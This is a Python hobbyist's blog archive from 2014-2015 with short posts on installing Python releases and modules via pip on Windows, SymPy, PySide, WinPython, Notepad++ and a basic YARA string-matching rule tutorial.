analitics

Pages

Sunday, November 22, 2015

The new Python 2.7.11rc1.

The next release in the 2.7.x series is now available with the version 2.7.11.rc.1 .
This can be download it from here.
Come with source release, installer for Windows, Mac OS X 10.6 and later.
I don't use linux instalation, just on Windows 10 - 64 MSI installer.
The changes of this version can be see here.
First I saw this python version will change my old python 2.7 version.

Also I check to compile all python scripts and module.
With installed Python 2.7 I check if is all ok.

C:\Python27>python.exe
Python 2.7.11rc1 (v2.7.11rc1:82dd9545bd93, Nov 21 2015, 23:25:27) [MSC v.1500 64
 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>
Also I got a list of all available modules...
No handlers could be found for logger "OpenGL.Tk"
ImportError: numpy.core.multiarray failed to import
BaseHTTPServer      audioop             imaplib             scrap
Bastion             base                imghdr              select
BeautifulSoup       base64              imp                 sets
BeautifulSoupTests  bdb                 importlib           setuptools
CGIHTTPServer       binascii            imputil             sgmllib
Canvas              binhex              inspect             sha
ConfigParser        bisect              io                  shellescape
Cookie              bs4                 itertools           shelve
Dialog              bsddb               joystick            shelve_test
DocXMLRPCServer     bufferproxy         json                shlex
FileDialog          bz2                 key                 shutil
FixTk               cPickle             keyword             signal
HTMLParser          cProfile            lib2to3             simplejson
MimeWriter          cStringIO           linecache           site
Naked               cached_property     locale              six
OpenGL              calendar            locals              smtpd
PIL                 camera              logging             smtplib
PySide              cdrom               mac_scrap           sndarray
Queue               cgi                 macosx              sndhdr
ScrolledText        cgitb               macpath             socket
SimpleDialog        chunk               macurl2path         sprite
SimpleHTTPServer    cmath               mailbox             sqlite3
SimpleXMLRPCServer  cmd                 mailcap             sre
SocketServer        code                markupbase          sre_compile
StringIO            codecs              marshal             sre_constants
Tix                 codeop              mask                sre_parse
Tkconstants         collections         math                ssl
Tkdnd               color               md5                 stat
Tkinter             colorama            mhlib               statvfs
UserDict            colordict           midi                string
UserList            colorsys            mimetools           stringold
UserString          commands            mimetypes           stringprep
_LWPCookieJar       compat              mimify              strop
_MozillaCookieJar   compileall          mixer               struct
__builtin__         compiler            mixer_music         subprocess
__future__          constants           mmap                sunau
_abcoll             contextlib          modulefinder        sunaudio
_arraysurfarray     cookielib           mouse               surface
_ast                copy                movie               surfarray
_bisect             copy_reg            msilib              surflock
_bsddb              crypto              msvcrt              symbol
_camera             csv                 multifile           symtable
_camera_opencv_highgui ctypes              multiprocessing     sys
_camera_vidcapture  curses              mutex               sysconfig
_codecs             cursors             netrc               sysfont
_codecs_cn          cv                  new                 tabnanny
_codecs_hk          cv2                 newbuffer           tarfile
_codecs_iso2022     datetime            nmovie              telnetlib
_codecs_jp          dateutil            nntplib             tempfile
_codecs_kr          dbhash              nt                  test
_codecs_tw          decimal             ntpath              test27
_collections        decorator           nturl2path          test_crypto_python
_csv                difflib             numbers             tests
_ctypes             dircache            numpy               textwrap
_ctypes_test        dis                 oauth2client        this
_dummybackend       display             opcode              thread
_elementtree        distutils           operator            threading
_freetype           docs                optparse            threads
_functools          doctest             os                  time
_hashlib            draw                os2emxpath          timeit
_heapq              dumbdbm             overlay             tkColorChooser
_hotshot            dummy_thread        parser              tkCommonDialog
_io                 dummy_threading     pdb                 tkFileDialog
_json               easy_install        pickle              tkFont
_locale             ecdsa               pickletools         tkMessageBox
_lsprof             email               pip                 tkSimpleDialog
_markerlib          encodings           pipes               toaiff
_md5                ensurepip           pixelarray          token
_msi                errno               pixelcopy           tokenize
_multibytecodec     event               pkg_resources       trace
_multiprocessing    examples            pkgdata             traceback
_numericsndarray    exceptions          pkgutil             transform
_numericsurfarray   extraction          platform            ttk
_numpysndarray      fastevent           plistlib            tty
_numpysurfarray     filecmp             popen2              turtle
_osx_support        fileinput           poplib              types
_pyio               fnmatch             posixfile           unicodedata
_pytest             font                posixpath           unittest
_random             formatter           pprint              uritemplate
_sha                fpformat            profile             url-scrap
_sha256             fractions           pstats              urllib
_sha512             freetype            pty                 urllib2
_socket             ftfont              py                  urllib3
_sqlite3            ftplib              py_compile          urlparse
_sre                functools           pyasn1              urwid
_ssl                future_builtins     pyasn1_modules      user
_strptime           gc                  pyclbr              uu
_struct             genericpath         pycuda              uuid
_subprocess         get-pip             pydoc               version
_symtable           getopt              pydoc_data          vidcap
_testcapi           getpass             pyexpat             virtualenv
_threading_local    gettext             pygame              virtualenv_support
_tkinter            gfxdraw             pypm                warnings
_vlcbackend         glob                pysideuic           wave
_warnings           googleapiclient     pytest              weakref
_weakref            gp2x                pytools             webbrowser
_weakrefset         gzip                pytz                wheel
_winreg             hashlib             quopri              whichdb
abc                 heapq               random              winsound
aifc                hmac                re                  wsgiref
antigravity         hotshot             rect                xdrlib
anydbm              html5lib            repr                xlsxwriter
apiclient           htmlentitydefs      requests            xml
appdirs             htmllib             rexec               xmllib
argparse            httplib             rfc822              xmlrpclib
array               httplib2            rlcompleter         xxsubtype
ast                 idlelib             robotparser         yaml
asynchat            ihooks              rsa                 yt
asyncore            image               runpy               zipfile
atexit              imageext            rwobject            zipimport
audiodev            imageop             sched               zlib

Enter any module name to get more help.  Or, type "modules spam" to search
for modules whose descriptions contain the word "spam".
I update some module with pip2.7
C:\Python27\Scripts>C:\Python27\python.exe
Python 2.7.11rc1 (v2.7.11rc1:82dd9545bd93, Nov 21 2015, 23:25:27) [MSC v.1500 64
 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import pip
>>> from subprocess import call
>>>
>>> for dist in pip.get_installed_distributions():
...     call("pip2.7.exe install --upgrade " + dist.project_name, shell=True)
...
Requirement already up-to-date: appdirs in c:\python27\lib\site-packages
0
Requirement already up-to-date: BeautifulSoup in c:\python27\lib\site-packages
0
Collecting beautifulsoup4
  Downloading beautifulsoup4-4.4.1-py2-none-any.whl (81kB)
    100% |################################| 81kB 327kB/s
Installing collected packages: beautifulsoup4
  Found existing installation: beautifulsoup4 4.3.2
    Uninstalling beautifulsoup4-4.3.2:
      Successfully uninstalled beautifulsoup4-4.3.2
Successfully installed beautifulsoup4-4.4.1
0
Some python modules has problems with update...

  Failed building wheel for pycuda
Note:
I think the python has some problems with keep and clean correct modules under pip.
Also I guest can be done with few rows of python scripts but also this can be done by default by python installation.

Sunday, November 8, 2015

WinPython - news and old stuff.

First good news: the team tells us about the WinPython will come with new release of WinPython.
This will be 3.4.3.7 version of WinPython and this will be great for most of users.
I love this portable python because first is easy to use and can easy test my python scripts.
One goal of this portable python it's the demos. I found some great demos with PyQt4 and networkx.

Also you can use Spyder to make your python scripts.
It's a free open-source development environment for the Python programming language.
This visual interface similar to MATLAB where you can run commands, edit and debug programs, check the values of variables and the definitions of functions, etc.
If you just getting started with Python then just take a look at google.com/edu/python.
The WinPython Control Panel allows to register your WinPython distribution to Windows with Advanced - Register distribution ...:
...and this allow you to:
  • associate file extensions .py, .pyc and .pyo to Python interpreter
  • register Python icons in Windows explorer
  • add context menu entries Edit with IDLE and Edit with Spyder for .py files
  • register WinPython as a standard Python distribution in the registry (the same way as the standard Python Windows installers will do)
Also you can use Jupyter Notebook web application.
This allow you to:
The Jupyter Notebook is a web application that allows you to create and share documents that contain live code, equations, visualizations and explanatory text. Uses include: data cleaning and transformation, numerical simulation, statistical modeling, machine learning and much more.

Sunday, August 23, 2015

Testing the SymPy python module with Python 3.4.1 .

SymPy is a Python library for symbolic mathematics.
This module is a computer algebra system (CAS) written in the Python programming language.
A large can be found on this blog aggregator at planet.sympy.org.
First, You need to install it using pip3.4.
C:\Python34\Scripts>pip3.4.exe install sympy
Collecting sympy
  Downloading sympy-0.7.6.tar.gz (6.4MB)
    100% |################################| 6.4MB 35kB/s
Building wheels for collected packages: sympy
...
Successfully built sympy
Installing collected packages: sympy
Successfully installed sympy-0.7.6
For a short introduction into SymPy python module I will show you the printing features.
The most common printers available in SymPy are:
  • str
  • repr
  • ASCII pretty printer
  • Unicode pretty printer
  • LaTeX
  • MathML
  • Dot
Let's test it this first example:
C:\Python34>python
Python 3.4.1 (v3.4.1:c0e311e010fc, May 18 2014, 10:45:13) [MSC v.1600 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from sympy import *
>>> x,y,z = symbols('x y z')
>>> Integral(sqrt(1+1/x),x)
Integral(sqrt(1 + 1/x), x)
>>> init_session(quiet=True)
Python console for SymPy 0.7.6 (Python 3.4.1-64-bit) (ground types: python)

>>> Integral(sqrt(1+1/x),x)
  /
 |
 |     _______
 |    /     1
 |   /  1 + -  dx
 | \/       x
 |
/
>>>
How to print one matrix :
>>> x, y, z = symbols('x, y, z')
>>> init_session(quiet=True)
Python console for SymPy 0.7.6 (Python 3.4.1-64-bit) (ground types: python)

>>> mat = Matrix([x*y, 1,0,3,-2, sin(z)])
>>> mat
[ x*y  ]
[      ]
[  1   ]
[      ]
[  0   ]
[      ]
[  3   ]
[      ]
[  -2  ]
[      ]
[sin(z)]
>>>
Next example come with this issue: equations can be solved with SymPy python module.
>>> solve(x*x+x+2)
         ___            ___
   1   \/ 7 *I    1   \/ 7 *I
[- - - -------, - - + -------]
   2      2       2      2
>>> solve(Eq(x*x+x+2))
         ___            ___
   1   \/ 7 *I    1   \/ 7 *I
[- - - -------, - - + -------]
   2      2       2      2
>>> solve(Eq(x*x+2*x+4))
        ___           ___
[-1 - \/ 3 *I, -1 + \/ 3 *I]
>>> solve(x*x+2*x+4)
        ___           ___
[-1 - \/ 3 *I, -1 + \/ 3 *I]
>>>

Pillow python module with Python 3.4.1 .

This simple tutorial about PIL and Pillow python modules can show you how to install the Pillow python module.
I used pip3.4 and python 3.4.1 version.
Some problems about how to write your source code can be found : porting pil to pillow.

Saturday, August 22, 2015

Simple tutorial about haralyzer python module.

This is a simple usage of haralyzer python module.
This tutorial I make can be found : the-haralyzer-python-module.

Thursday, May 7, 2015

The numpy - install over python 3.4 version.

The last version 1.9.2 of python module can solve instalation over python from sourceforge.net -projects.
This link from Numerical Python module come with exe file over python versions: 3.4 , 3.3 and 2.7.
I test the 3.4 version - 32 bits but I got this great error:
>>> import numpy
Traceback (most recent call last):
File "", line 1, in 
File "C:\Python34\lib\site-packages\numpy\__init__.py", line 170, in 
from . import add_newdocs
File "C:\Python34\lib\site-packages\numpy\add_newdocs.py", line 13, in 
from numpy.lib import add_newdoc
File "C:\Python34\lib\site-packages\numpy\lib\__init__.py", line 8, in 
from .type_check import *
File "C:\Python34\lib\site-packages\numpy\lib\type_check.py", line 11, in 
import numpy.core.numeric as _nx
File "C:\Python34\lib\site-packages\numpy\core\__init__.py", line 6, in 
from . import multiarray
ImportError: DLL load failed: %1 is not a valid Win32 application.
How to fix this:
Also the pip3.4 don't want to install the numpy python module just if you use this link.
You can do this with :
C:\Python34\Scripts>pip3.4.exe install --upgrade wheel
Requirement already up-to-date: wheel in c:\python34\lib\site-packages
C:\Python34\Scripts>pip3.4.exe install "C:\Users\...\Downloads\numpy-1.9.2+m
kl-cp34-none-win_amd64.whl"
After that you can import the numpy module 

PySide - Introduction - part 002.

First, PySide itself is licensed under LGPLv2.1, most of the examples are licensed under GPLv2.
After importing PySide then you can see all PySide python submodule:
>>> import PySide
>>> from PySide import *
>>> dir(PySide)
['QtCore', 'QtGui', 'QtNetwork', 'QtOpenGL', 'QtScript', 'QtSql', 'QtSvg', 'QtTe
st', 'QtWebKit', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '
__package__', '__path__', '__version__', '__version_info__', '_setupQtDirectorie
s', '_utils']
Also this can help you to see all about Qt components and versions using by PySide:
Let's how can do it:
# prints PySide version
>>> print PySide.__version__
1.2.2
# gets a tuple with each version component
>>> print PySide.__version_info__
(1, 2, 2, 'final', 0)
# prints the Qt version used to compile PySide
>>> print PySide.QtCore.__version__
4.8.5
# gets a tuple with each version components of Qt used to compile PySide
>>> print PySide.QtCore.__version_info__
(4, 8, 5)
Something about PySide submodules:
QtCore - core non-GUI functionality;
QtGui - extends QtCore with GUI functionality;
QtNetwork - offers classes that allow you to write TCP/IP clients and servers;
QtOpenGL - offers classes that make it easy to use OpenGL in Qt applications;
QtScript - provides classes for making Qt applications scriptable;
QtSql - helps you provide seamless database integration to your Qt applications;
QtSvg - provides classes for displaying the contents of SVG files;
QtWebkit - provides a Web browser engine;
The QtTest submodule can be used to test your PySide script code.
The structure PySide application can be see under my first tutorial.
About this PySide application most of this can be created with classes
To make one GUI ( ) just import QtGUI with your class ...
This source code can be used also you can get some errors:
>>> import sys
...
>>> from PySide import QtGui
...
>>> app = QtGui.QApplication(sys.argv)
You need sys python module also the application can have this option : sys.argv .
You can searching and used all your widgets.
For example :
>>> import sys
>>> import PySide
>>> from PySide import *
>>> myapp = QtGui.QApplication(sys.argv)
>>> mywidgets = QtGui.QWidget()
>>> mywidgets.show()
The title of your application will be python.
You can set this title bellow show method , with :
mywidgets.setWindowTitle('my app title ')
About my class Example from pyside-introduction-part-001 then I will tell you how to make one simple class example.
First I used this class named Example with this methods:
class Example(QtGui.QWidget):
...
#defaul init class method 
__init__(self)
...
#make and show the window application
initUI(self)
...
#my method to put the window to the desktop screen
center(self)
...
#method to deal with events and also close the application
closeEvent(self, event)
...
Into __init___ I used super() method.
The main reason I used this it's :
-super() method lets you avoid referring to the base class explicitly and let you to use multiple inheritance.
The main function come with some source code:
Make the application :
app = QtGui.QApplication(sys.argv)
and also put my widgets under this with this python code:
ex = Example()
About events I will make another tutorial ...



Saturday, May 2, 2015

New tutorials about PySide .

I make one new tutorial about PySide. I started with one simple tutorial with two simple examples.
I hope this help you.
You can read more about this

Friday, April 24, 2015

The new release Python 3.5.0a4 - tutorial.

I install the Windows amd64 web-based installer. This allow me to use the windows gui to make all settings.
You also need some administrator privileges for C Runtime ...

Some notes about this installation process:
  • If you have previously installed Python 3.5.0a1, you may need to manually uninstall it.
  • If installing Python 3.5.0a4 as a non-privileged user, you may need to escalate to administrator privileges to install an update to your C runtime libraries.
  • Python 3.5 now has an embeddable installer designed to be run as part of a larger application's installer for apps using or extending Python.There is now a third type of Windows installer for Python 3.5.
You can find your python files under \AppData\Local\Programs\Python\Python35.
The Python35 have python.exe, see:
Python 3.5.0a4 (v3.5.0a4:413e0e0004f4, Apr 19 2015, 18:01:47) [MSC v.1900 64 bit
 (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>
Let's see all defaul Python35 modules:
__future__          abc                 hmac                select
_ast                aifc                html                selectors
_bisect             antigravity         http                setuptools
_bootlocale         argparse            idlelib             shelve
_bz2                array               imaplib             shlex
_codecs             ast                 imghdr              shutil
_codecs_cn          asynchat            imp                 signal
_codecs_hk          asyncio             importlib           site
_codecs_iso2022     asyncore            inspect             smtpd
_codecs_jp          atexit              io                  smtplib
_codecs_kr          audioop             ipaddress           sndhdr
_codecs_tw          base64              itertools           socket
_collections        bdb                 json                socketserver
_collections_abc    binascii            keyword             sqlite3
_compat_pickle      binhex              lib2to3             sre_compile
_compression        bisect              linecache           sre_constant
_csv                builtins            locale              sre_parse
_ctypes             bz2                 logging             ssl
_ctypes_test        cProfile            lzma                stat
_datetime           calendar            macpath             statistics
_decimal            cgi                 macurl2path         string
_dummy_thread       cgitb               mailbox             stringprep
_elementtree        chunk               mailcap             struct
_functools          cmath               marshal             subprocess
_hashlib            cmd                 math                sunau
_heapq              code                mimetypes           symbol
_imp                codecs              mmap                symtable
_io                 codeop              modulefinder        sys
_json               collections         msilib              sysconfig
_locale             colorsys            msvcrt              tabnanny
_lsprof             compileall          multiprocessing     tarfile
_lzma               concurrent          netrc               telnetlib
_markerlib          configparser        nntplib             tempfile
_markupbase         contextlib          nt                  test
_md5                copy                ntpath              textwrap
_msi                copyreg             nturl2path          this
_multibytecodec     crypt               numbers             threading
_multiprocessing    csv                 opcode              time
_opcode             ctypes              operator            timeit
_operator           curses              optparse            tkinter
_osx_support        datetime            os                  token
_overlapped         dbm                 parser              tokenize
_pickle             decimal             pathlib             trace
_pydecimal          difflib             pdb                 traceback
_pyio               dis                 pickle              tracemalloc
_random             distutils           pickletools         tty
_sha1               doctest             pip                 turtle
_sha256             dummy_threading     pipes               turtledemo
_sha512             easy_install        pkg_resources       types
_signal             email               pkgutil             unicodedata
_sitebuiltins       encodings           platform            unittest
_socket             ensurepip           plistlib            urllib
_sqlite3            enum                poplib              uu
_sre                errno               posixpath           uuid
_ssl                faulthandler        pprint              venv
_stat               filecmp             profile             warnings
_string             fileinput           pstats              wave
_strptime           fnmatch             pty                 weakref
_struct             formatter           py_compile          webbrowser
_symtable           fractions           pyclbr              winreg
_testbuffer         ftplib              pydoc               winsound
_testcapi           functools           pydoc_data          wsgiref
_testimportmultiple gc                  pyexpat             xdrlib
_thread             genericpath         queue               xml
_threading_local    getopt              quopri              xmlrpc
_tkinter            getpass             random              xxsubtype
_tracemalloc        gettext             re                  zipapp
_warnings           glob                reprlib             zipfile
_weakref            gzip                rlcompleter         zipimport
_weakrefset         hashlib             runpy               zlib
_winapi             heapq               sched
Also the this version come with pip3.5 under Script folder to use pip solution.
You can run some demos with this \Python35>python.exe Tools\demo\.
The all download files come with this options:
Gzipped source tarball Source release 34667f07604352a4a1ef4651dcb7f870 19874914 SIG
XZ compressed source tarball Source release dd8d2dcb8c8b301d57228be896317612 14704088 SIG
Mac OS X 32-bit i386/PPC installer Mac OS X for Mac OS X 10.5 and later c648d4f3f02ce06d839e2b754e8382bc 25250926 SIG
Mac OS X 64-bit/32-bit installer Mac OS X for Mac OS X 10.6 and later d7321ddabc46927fd619a694c0d87086 23587943 SIG
Windows amd64 embeddable installer Windows b2c3001cd03d478293680f88beaf5218 6660944 SIG
Windows amd64 web-based installer Windows b2c3001cd03d478293680f88beaf5218 912024 SIG
Windows amd executable installer Windows 5ca6f1dcc56c66065d874420ae95ea23 29316824 SIG
Windows help file Windows d5434e2cf712ebdf11ede3b6cdb43a64 7581518 SIG
Windows x86 embeddable installer Windows 32f1d62bc4cad46e5bf3444d648e53f0 6068184 SIG
Windows x86 executable installer Windows a220359f4f6cefcc316504cccd3dc0fb 28459976 SIG
Windows x86 web-based installer Windows dd6712fe691f4212fb9e516541103721 886400 SIG

See more about this new release here.
You can see also the new beta python module with all issues.

Sunday, April 19, 2015

Upgrading all packages with pip using python script.

Can be done under Windows OS with this python script :
C:\Python27>python.exe
Python 2.7.6 (default, Nov 10 2013, 19:24:24) [MSC v.1500 64 bit (AMD64)] on win
32
Type "help", "copyright", "credits" or "license" for more information.
>>> import pip
>>> from subprocess import call
>>>
>>> for dist in pip.get_installed_distributions():
...     call("pip install --upgrade " + dist.project_name, shell=True)
...
You are using pip version 6.0.8, however version 6.1.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
Requirement already up-to-date: appdirs in c:\python34\lib\site-packages
0
You are using pip version 6.0.8, however version 6.1.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
Collecting beautifulsoup4
  Using cached beautifulsoup4-4.3.2.tar.gz
...
The Windows will need to have the Script path folder into enviroment variables: C:\Python27\Scripts.
If you use Linux OS shell then you can use this :
pip freeze --local | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U

Saturday, April 18, 2015

pip-Win the new GUI for python pip.

The pip-Win is a Python Package manager that is easy to install and let you to automatically installs python module using pip and virtualenv on Windows.
Features
  • switch from one python interpreter (i.e. version) to another (including py and pypy)
  • see all installed packages, and whether they are up-to-date
  • install or upgrade a package, or upgrade pip itself
  • create and delete virtual environments, and switch between them
  • run the IDLE or another python script, with the selected interpreter

Also pip-Win is made available under the GNU Lesser General Public Licence.
You can try it from here.

Friday, March 27, 2015

Using facepy to deal with facebook .

This python module allow you to get some data from facebook using Facebook’s Graph API.
The development team tell us:
Facepy can do more than reading your latest posts and posting photographs of parrots, but you’ll have to read the documentation to find out how.
You can use pip to install this module ( pip2.7 or pip3.4):
pip install facepy
The python script is simple :

...\Python34>cd Scripts
Scripts>pip3.4.exe install facepy

Now you can test this with this simple script:
C:\Python34>python.exe
Python 3.4.1 (v3.4.1:c0e311e010fc, May 18 2014, 10:45:13) [MSC v.1600 64 bit (AM
D64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import facepy
>>> from facepy import *
>>> from facepy import GraphAPI
>>> graph = GraphAPI('.....my...token.....'
)
>>> graph.get('me')
{'gender': .....................................
......................'}

Friday, February 27, 2015

News: Python 3.4.3 is out.

Python 3.4.3 was released on February 25th, 2015 with many bugfixes and other small improvements.
More about that and can be found here.
This are the new library modules from this new release :
  • asyncio: New provisional API for asynchronous IO (PEP 3156).
  • ensurepip: Bootstrapping the pip installer (PEP 453).
  • enum: Support for enumeration types (PEP 435).
  • pathlib: Object-oriented filesystem paths (PEP 428).
  • selectors: High-level and efficient I/O multiplexing, built upon the select module primitives (part of PEP 3156).
  • statistics: A basic numerically stable statistics library (PEP 450).
  • tracemalloc: Trace Python memory allocations (PEP 454).
NOTE: The PEP contains the index of all Python Enhancement Proposals are assigned by the PEP editors, and once assigned are never changed

Saturday, February 7, 2015

Install PyOpenGL with pip with wheel and WHL file .

This is a old tutorial I wrote about how to install python on windows 8.1 with distribute, pip, virtualenv and virtualenvwrapper-powershell.
Now I will show you how to deal with WHL files and pip wheel.
First you need to install pip under your python folder.
I used in this case Python 2.7 version.
The WHL file and wheel is a ZIP-format archive with a specially formatted filename and the .whl extension.
You can use this :
C:\Python27\Scripts>pip2.7 install wheel
Collecting wheel
  Downloading wheel-0.24.0-py2.py3-none-any.whl (63kB)
    100% |################################| 65kB 682kB/s ta 0:00:011
Installing collected packages: wheel

Successfully installed wheel-0.24.0

C:\Python27\Scripts>pip2.7 install --upgrade pip
Collecting pip from https://pypi.python.org/packages/py2.py3/p/pip/pip-6.0.8-py2
.py3-none-any.whl#md5=41e73fae2c86ba2270ff51c1d86f7e09
  Downloading pip-6.0.8-py2.py3-none-any.whl (1.3MB)
    100% |################################| 1.3MB 952kB/s ta 0:00:01
This will install wheel and update the pip2.7 .
For example, just use next command to install OpenGL python module.
C:\Python27\Scripts>pip2.7 install PyOpenGL
Collecting PyOpenGL
  Downloading PyOpenGL-3.1.0.tar.gz (1.2MB)
    100% |################################| 1.2MB 2.2MB/s ta 0:00:01
Installing collected packages: PyOpenGL
  Running setup.py install for PyOpenGL
Successfully installed PyOpenGL-3.1.0
Also pygame whl working with pip2.7.
I download it from pygame website, from here. Download your version of WHL file ( amd64 is for CPU 64 bits) and your python version (cpxx). Now use this command:
C:\Python27\Scripts>pip2.7.exe install "C:\Downloads\pygame-1.9.2a
0-cp27-none-win_amd64.whl"
...
Installing collected packages: pygame
  Found existing installation: pygame 1.9.1
    DEPRECATION: Uninstalling a distutils installed project (pygame) has been de
precated and will be removed in a future version. This is due to the fact that u
ninstalling a distutils project will only partially uninstall the project.
    Uninstalling pygame-1.9.1:
      Successfully uninstalled pygame-1.9.1

Successfully installed pygame-1.9.2a0

Sunday, January 4, 2015

News: FOSDEM 2015 and python room.

FOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate. It is renowned for being highly developer-oriented and brings together 5000+ geeks from all over the world.
You can find a schedule of python room here.
The FOSDEM 2015 will take place at ULB Campus Solbosch on Saturday 31 January and Sunday 1 February 2015 - Brussels.
Also no registration necessary on this event , according to FOSDEM website.

Friday, January 2, 2015

Python and last version of Notepad++ 6.7.3

The last version of Notepad++ has released at 2015-01-01.
It comes with many features and fix also some bugs:
  • Syntax Highlighting and Syntax Folding;
  • User Defined Syntax Highlighting and Folding;
  • PCRE (Perl Compatible Regular Expression) Search/Replace;
  • GUI entirely customizable: minimalist, tab with close button, multi-line tab, vertical tab and vertical document list;
  • Document Map;
  • Auto-completion: Word completion, Function completion and Function parameters hint;
  • Multi-Document (Tab interface);
  • Multi-View;
  • WYSIWYG (Printing);
  • Zoom in and zoom out: Ctr key + Mouse Wheel ;
  • Multi-Language environment supported;
  • Bookmark;
  • Macro recording and playback;
  • Launch with different arguments;
I try it with python 3.4 and working very well.
First I download it from here.
I install it and I set it to working.

I wrote a simple python 3.4 script and then I press F5 key - Run from Notepad++.
import os 
import sys 
print ("this is notepad test - python run")

I put this in this window to run it python 3.4 : C:\Python34\Lib\idlelib\idle.bat "$(FULL_CURRENT_PATH)"

Also I press save button and select Ctr+Alt+P to run the scripts with hotkeys. This can be see it under Run menu.
When I press it then a python window with your script will show us and just you need is to press F5 key to run it.

Monday, December 29, 2014

WinPython - 32 and 64bit portable distribution with Qt.

The new WinPython (version 3.3.5.4) released at 2014-12-22 come with this issue:
WinPython is a free open-source portable distribution of the Python programming language for Windows XP/7/8, designed for scientists, supporting both 32bit and 64bit versions of Python 2 and Python 3.
I use 64bit portable distribution with Python 3.3.5 (v3.3.5:62cf4e77f785, Mar 9 2014, 10:35:05) [MSC v.1600 64 bit (AM
D64)] on win32 and working very well.
From this link you can download it.
WinPython is a free scientific Python distribution for Windows that is portable.It is completely isolated from the rest of the system. Also, WinPython can be installed in a folder (will be put into your download folder)and can be moved anywhere.
You can move on an USB stick and this will make entirely functional.
WinPython is bundled with a lot of existing Python packages.
Also, it includes graphical and command-line utilities to install/uninstall any Python package easily.

This come with spyder 2.3.2 version editor to edit your scripts.

You can use also Qt with Qt designer and you also have a demo application, see:

Sunday, December 21, 2014

pygame - using sound, mixer, volume, channels, fade-in and out effect .

PyGame module come with sound feature and this allow users to test some effects.
The next tutorial show you how to deal with pygame sound effect.
After, you can test all effects with python version 3.4.1 .
I used keys to change effects. The song is a ogg file.
I used this sample from a recording of of the album Through the Devil Softly by the artist Hope Sandoval and The Warm Inventions from here.

Wednesday, December 10, 2014

IronPython - new version and default project.

IronPython was released.
As you know the IronPython come with version 2.7.5.
About IronPython you can find more here:
IronPython is an open-source implementation of the Python programming language which is tightly integrated with the .NET Framework. IronPython can use the .NET Framework and Python libraries, and other .NET languages can use Python code just as easily.
Download the IronPython last version from here.
I use binaries instaler and this make all working.
When I used Microsoft Visual Studio Express 2013 for Windows Desktop I saw the binaries not working well.
Also this have a python tool and this will make all download to working well.
Just try it , restart it and will see after this new projects:

Make a new project with Python Application.
The project come with default project: "Hello world"
Just add this :
import sys
print(sys.version)
The result wil be this:

Hello World
3.4.1 (v3.4.1:c0e311e010fc, May 18 2014, 10:45:13) [MSC v.1600 64 bit (AMD64)]
Press any key to continue . . .

Wednesday, December 3, 2014

News : PythonAnywhere come with good news.

The author Giles tells us:
Obviously, the most important thing we did was to switch out our javascript console for a new one that supports 256 colours! And slightly more sane copy + paste. And it works on Android, or at least it does on Lollipop. Giles recommends the Hackers keyboard. Still doesn't work on my blackberry though.
As you know :
PythonAnywhere is a Python development and hosting environment that displays in your web browser and runs on our servers. They're already set up with everything you need. It's easy to use, fast, and powerful. There's even a useful free plan.
I worked with PythonAnywhere and is very good. Thank you Giles.

Saturday, November 29, 2014

YARA python module - part 001 .

You can also see more python tutorial on free-tutorials.org.
YARA is a multi-platform program running on Windows, Linux and Mac OS X.
More about yara python module can be see it here
YARA used this keywords with rules under files.
all  and  any  ascii  at  condition  contains
entrypoint  false  filesize  fullword  for  global  in
import  include  int8  int16  int32  int8be  int16be
int32be  matches  meta  nocase  not  or  of
private  rule  strings  them  true  uint8  uint16
uint32  uint8be  uint16be  uint32be  wide

The Yara documentation can be found in this link.
The yara python module use version 1.7.7 and this will need to use when make rules.
Instalation with pip :
C:\Python34>cd Scripts
C:\Python34\Scripts>pip install yara
Downloading/unpacking yara
Installing collected packages: yara
  Running setup.py install for yara

    Installing yara-ctypes-script.py script to C:\Python34\Scripts
    Installing yara-ctypes.exe script to C:\Python34\Scripts
Successfully installed yara
Cleaning up...
Let's see this in action.
First you need to make your user under your_user account.
I make one folder named yara to keep the my rules, see:
C:\\Users\\your_user\\Dropbox\\yara\\
and I test this file named doc_data.txt, from here:
C:\\Users\\your_user\\Dropbox\\
The file has this text :
InfoKey: Creator
InfoValue: TeX
InfoKey: Producer
InfoValue: pdfTeX-1.40.3
InfoKey: PTEX.Fullbanner
InfoValue: This is pdfTeX using libpoppler, Version 3.141592-1.40.3-2.2 (Web2C 7.5.6) kpathsea version 3.5.6
InfoKey: ModDate
InfoValue: D:20110210185614-08'00'
InfoKey: CreationDate
InfoValue: D:20110210185614-08'00'
PdfID0: 5691a9b61e98f4c329d4f9f6deb5363c
PdfID1: 5691a9b61e98f4c329d4f9f6deb5363c
NumberOfPages: 24
and the rule file detectstring has this rule:
rule detectstring
{
    strings:
        $my_text_string = "5691a9b61e98f4c329d4f9f6deb5363c"

    condition:
        $my_text_string 
}
You can use python shell with this source code:
import yara
from yara import *
dir(yara)
['CALLBACK_ABORT', 'CALLBACK_CONTINUE', 'INCLUDE_PATH', 'Rules', 'YARA_RULES_ROO
T', 'YaraSyntaxError', '__builtins__', '__cached__', '__doc__', '__file__', '__l
oader__', '__name__', '__package__', '__path__', '__spec__', '__version__', 'com
pile', 'libyara_wrapper', 'load_rules', 'preprocessor', 'rules', 'version']
print(yara.version.__version__)
1.7.7
rules=yara.compile("C:\\Users\\your_user\\Dropbox\\yara\\detectstring")
matches=rules.match("C:\\Users\\your_user\\Dropbox\\doc_data.txt")
print(matches)
{'main': [{'tags': [], 'matches': True, 'rule': 'detectstring', 'meta': {}, 'str
ings': [{'flags': 19, 'identifier': '$my_text_string', 'data': '5691a9b61e98f4c3
29d4f9f6deb5363c', 'offset': 326}, {'flags': 19, 'identifier': '$my_text_string'
, 'data': '5691a9b61e98f4c329d4f9f6deb5363c', 'offset': 367}]}]}
The above rule is telling YARA that the file containing the string must be reported.
The print will show the rule compiled and the result.

Tuesday, October 7, 2014

Windows all modules for python 3.4

Most users have a lot of problems with modules.
It's difficult to developing some script from python 2.7 to python 3.x ,common error is print.
First step in this case is to install modules.
You can found all windows modules here.
All this is packed into executable and will find your folder with your python 3.x
For example the executable module named : pygame‑1.9.2a0.win‑amd64‑py3.4.exe shows us through the contents of the file name:
